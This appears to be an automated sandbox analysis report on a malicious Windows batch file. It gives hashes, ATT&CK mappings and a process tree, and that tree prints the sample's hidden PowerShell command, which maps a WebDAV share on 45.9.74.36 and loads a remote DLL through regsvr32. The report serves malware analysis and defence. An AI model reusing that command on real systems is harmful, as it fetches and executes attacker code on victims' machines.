86fd1fe4c9923b925a58c6831716a07e11485a277b39c9e8914ad3ecee42c9f0

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
24/07/2024, 02:08

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General

Target

32373310491654616266.bat
Size

14KB
MD5

8427871b34d5eccba78f14f4d5ffd667
SHA1

f9ff2008a757196f33c71308512ced1c764013ac
SHA256

86fd1fe4c9923b925a58c6831716a07e11485a277b39c9e8914ad3ecee42c9f0
SHA512

45390eccb32ab1f38081285708b0a183f269accaa86155f40b5c51ba2d487e2ded8e63c2b4a6e02d2b28de0ecd21c6b9845fa1ab0d672d7a5415cbc43882c789
SSDEEP

192:HBTPPNL/RN5laa3FpGLGKtV8pOIf/36u3zpiZB401CGW5NGW95wH+uGsmJuab0JY:HBTP1LZN5dpDsoOQ9J5eJvmmN/TtnO

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2784	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2784	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2784	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2692	wordpad.exe
2692	wordpad.exe
2692	wordpad.exe
2692	wordpad.exe
2692	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2644 wrote to memory of 2692	2644	cmd.exe	31
PID 2644 wrote to memory of 2692	2644	cmd.exe	31
PID 2644 wrote to memory of 2692	2644	cmd.exe	31
PID 2644 wrote to memory of 2784	2644	cmd.exe	32
PID 2644 wrote to memory of 2784	2644	cmd.exe	32
PID 2644 wrote to memory of 2784	2644	cmd.exe	32
PID 2784 wrote to memory of 2720	2784	powershell.exe	34
PID 2784 wrote to memory of 2720	2784	powershell.exe	34
PID 2784 wrote to memory of 2720	2784	powershell.exe	34
PID 2784 wrote to memory of 2812	2784	powershell.exe	35
PID 2784 wrote to memory of 2812	2784	powershell.exe	35
PID 2784 wrote to memory of 2812	2784	powershell.exe	35
PID 2784 wrote to memory of 2812	2784	powershell.exe	35
PID 2784 wrote to memory of 2812	2784	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\32373310491654616266.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2644
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\31352596432023.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2784
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2720
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\31352596432023.dll
    3⤵
    PID:2812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2784-23-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/2784-24-0x0000000002970000-0x0000000002978000-memory.dmp

Filesize
32KB

Download